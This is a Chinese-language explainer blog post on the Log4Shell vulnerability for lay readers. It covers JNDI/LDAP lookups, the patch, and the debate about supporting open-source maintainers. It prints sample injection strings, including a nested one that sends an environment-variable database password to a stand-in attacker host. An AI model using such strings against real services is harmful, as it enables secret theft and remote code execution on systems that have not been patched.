理解 Log4Shell 漏洞

2021-12-13

「互联网正在着火」?

如果你多少关注信息安全资讯,或许在最近几天已经频繁听到 Log4Shell 这个漏洞的名字——或者一些更具传播性的说法,诸如「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到哪家公司不受影响」之类(参见《洛杉矶时报》,12 月 10 日)。

这个被报道得神乎其神的 Log4Shell 漏洞(CVE-2021-44228)所针对的,是一个极为常用的 Java 库 Log4j(详见后文说明)。值得一提,这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun(微博)在 11 月下旬发现并提报的。

有记录的利用 Log4Shell 漏洞发起的攻击开始于 12 月 9 日,最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图,Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。

好在,Log4j 已经于 12 日 发布 2.15.0 版本,修复了漏洞,并且对于暂不能升级的旧版提供了临时应对方案。

受影响的大型平台也作出快速响应。10 日,Minecraft 发布 1.18.1 版,说明已修复了漏洞;亚马逊发出 安全警告 称,「正积极监控该问题,并已在寻求解决方案」;IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣称正在部署补丁;Apple 尽管没有官方回应,但根据 11 日的测试,原本受到影响的 iCloud 似乎也已经修复。此外,目前暂无因该漏洞导致重大安全事故的报道。

然而,**由于该漏洞影响范围之广,受影响服务完成更新或修补仍需不少时间,因此近期内风险仍不可忽视。**事实上,根据以色列安全公司 Check Point 的 监测,截至 12 月 12 日凌晨(太平洋时间),该公司已拦截到超过 40 万次针对该漏洞的攻击尝试,其中 45% 以上为已知恶意团体所发起。另根据 BleepingComputer 的 报道,现已发现一些利用该漏洞安装挖矿脚本、组建僵尸网络和远程监控的案例。

我对编程和信息安全都是外行,但围绕 Log4Shell 这些抓人眼球的报道,不能不引起我的好奇;漏洞演示中简单到极致的攻击步骤——只是在对话框、搜索框里输入一段特殊文本就能触发——也令我希望一探究竟。

本文就是我在经过粗浅研究后的笔记,旨在向与我类似的非专业用户介绍 Log4Shell 漏洞的机制。时间和能力所限,难免有不准确之处,敬请指正。

记录员的故事

如果你跟我之前一样,对这个漏洞的描述一头雾水,不妨先通过下面这个比较粗略的比方来建立一个初步印象。

设想一个单位部门的门口有个登记处,里面坐着一个记录员。每当有人进入,记录员都会在一本访客日志上记下一笔:

<某人> 于 <某日> <某时> 因 <某事> 来访

**要填写的这些信息中,有些是记录员在下笔之前并不知道的。**比如,今天的日期、当前的准确时间,经常需要看一眼日历和手表才能确定;又比如,有的员工嫌报名字麻烦,就干脆报一个工号,让记录员回头自己去花名册里查。

某天,迎面跑来一个急匆匆的身影,还没等记录员问清姓名来意,就扔下一句:我赶路呢,来不及跟你唠废话登记了,你回头打我这个号码,我再跟你说。

老实的记录员也没多想,就记了一笔:

___ 于 12 月 10 日 9:41 因 ___ 来访(回电话 138 XXXX XXXX 问后补)

后来,记录员也确实根据来人要求,拨出了电话,追问对方的具体信息。

**记录员的做法有什么安全隐患呢?**首先,他或许并没有权限用内部电话对外联系,往最轻的方面来说,这也泄露了不对外的内部号码。此外,如果对方来者不善,在通话过程中各种诱导哄骗,记录员还可能有意无意地泄露一些保密信息,以至做一些超越职权、不符合内部规程的事情。

这也就是 Log4Shell 漏洞的核心:它利用 Log4j 这个「日志记录员」看似不起眼、实则功能和权限都不少的模块,通过诱使其对外连接攻击者控制的服务器,达到收集隐私信息、执行恶意代码的目的。

漏洞是怎么运作的?

在形象认识的基础上,我们下面继续从技术角度说明 Log4Shell 漏洞的原理。

Log4j 是一个 Java 语言的(library)。所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。

Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言,而 Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。

Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。

那么,Log4j 都支持补齐哪些「待定内容」呢?根据 文档,这主要包括日期时间、运行环境信息(例如用户名、Java 版本、系统语言)、事件信息等。

例如,如果在模板里写 ${date:yyyy-MM-dd},那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来;如果在模板里写 ${java:version},Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来。

不过,除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。

这里,就要提到很多攻击例证里出现的字样——LDAP。LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息。例如:

CN=John Appleseed,OU=Sales,O=Apple

表示一个常用名(commonName)为 John Appleseed,所属组织单位(organizationUnit)为 Sales,所属组织(organization)为 Apple 的对象(通常对应一个用户)。

LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址:

ldap://ldap.example.com/cn=John%20Appleseed

就会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息。

根据文档,JNDI 查询的语法是 ${jndi:<查询位置>}。一般而言,这里的「查询位置」是一个取决于软件运行环境的内部位置,因此 Log4j 会自动给它加上 java:comp/env 的前缀再查询。这就好比在公司内部说「查花名册」,默认就是指查该公司雇员的名册一样。

但特殊地,如果查询位置里包含冒号(:)——最可能的情况就是一个固定的 URL 地址,例如 ${jndi:ldap://ldap.example.com/a},那么,Log4j 在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。

**实现漏洞的链条就此串了起来。**上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求。

换言之,只要设法让使用了 Log4j 的程序记下一条内容形如 **${jndi:ldap://ldap.example.com/a}** 的日志,那么记下这条日志的同时,程序就会试图向 **ldap.example.com** 请求查询数据,然后解析查询结果并写进日志。

乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得 Log4Shell 漏洞很容易触发,危害性又很高。

例如,很多服务器会通过日志记录访客的浏览器信息(即 HTTP 请求头中的 User-Agent)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a} 之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。

需要指出,攻击文本中所用的 ldap.example.com 甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。

留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现 dnslog.cnceye.io 等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的 IP 地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。

例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然,这个字符串进入了 iCloud 服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名:

类似地,在下面的 QQ 邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录:

又因为 JNDI 查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了**任何 Log4j 所能接触到的运行环境信息。**正如一些用户在 GitHub 上的漏洞讨论中 指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的恶意日志,就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD} 替换为真实的 MySQL 数据库密码,然后通过 URL 泄露给 www.attacker.com

此外,注意到 JNDI 的本意在于查询——不仅是发出请求,而且会记录处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。 例如,一个正常的 LDAP 服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器,那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。

例如,上文提到的 BleepingComputer 报道中提到一个现有的真实案例:攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中,导致被攻击机器下载并安装了挖矿程序:

Kinsing Log4Shell exploit and decoded commands

这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鲜事物,在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。

最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度。

Cloudflare 就在针对本漏洞的 博文 中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过 Log4j 记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。

Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

漏洞易补,根源难除

尽管 Log4Shell 漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版 更新记录 所示,其主要的修复方法就是加强对 JNDI 的限制,包括默认仅限访问本地的 LDAP 服务器(而非任意远程位置)、禁用大部分 JNDI 通讯的协议等。

而对于暂没有条件升级到新版 Log4j 的服务,也可以通过设置参数禁止 JNDI 查询,或者直接把 JNDI 查询相关代码切割出去,从而实现弥补漏洞。

此外,「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所 指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。

还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝「记录员」被利用的可能性。

然而,哪怕 Log4Shell 的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考。

首先是一个软件系统设计的问题:很多评论都惊讶地指出,**Log4j 的权限和「胆子」是不是太大了?**区区一个「记录员」的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗?

特别是当人们找出罪魁祸首——当初引入这个漏洞的 功能提案,发现提案者的**主要理由只是为了「方便」**后,就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。

对此,一种解释是,这是过时开发思路的遗留。例如,Hacker News 用户 @toyg 指出,早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路,Log4j 这些令人后怕的「丰富」功能可能就因此而来;他还 认为,LDAP 传统上是一个跑在内网上,被推定为「安全」的服务,这也容易让人忘记设置安全防护措施。

其次,作为一个由社区维护的开源项目,Log4j 此次漏洞也**让人反思开源维护者是否得到了应有的支持和理解。**事件发生后,Log4j 维护者 Volkan Yazici 在一条 推文 中不无委屈地说:

Log4j 的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交 CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制——译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。

进而有人从维护者 Ralph Goers 的 GitHub 支持者页面 发现一段颇为谦卑的陈述:

我用业余时间开发 Log4j 等开源项目,所以一般只 [有空、] 解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。

而略显讽刺的是,这段话下面赫然显示「3 人赞助了 rgoers 的工作」(情况曝光后数量略有增加)。

既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点 主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人 提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事?

还有观点 指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。

此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。

至于作为普通用户,应该如何解读和应对这次事件,其实再简单不过——与各位在这两年的公共卫生局面中学到的经验是一样的:不传谣,相信科学,勤听新闻,做好个人防护。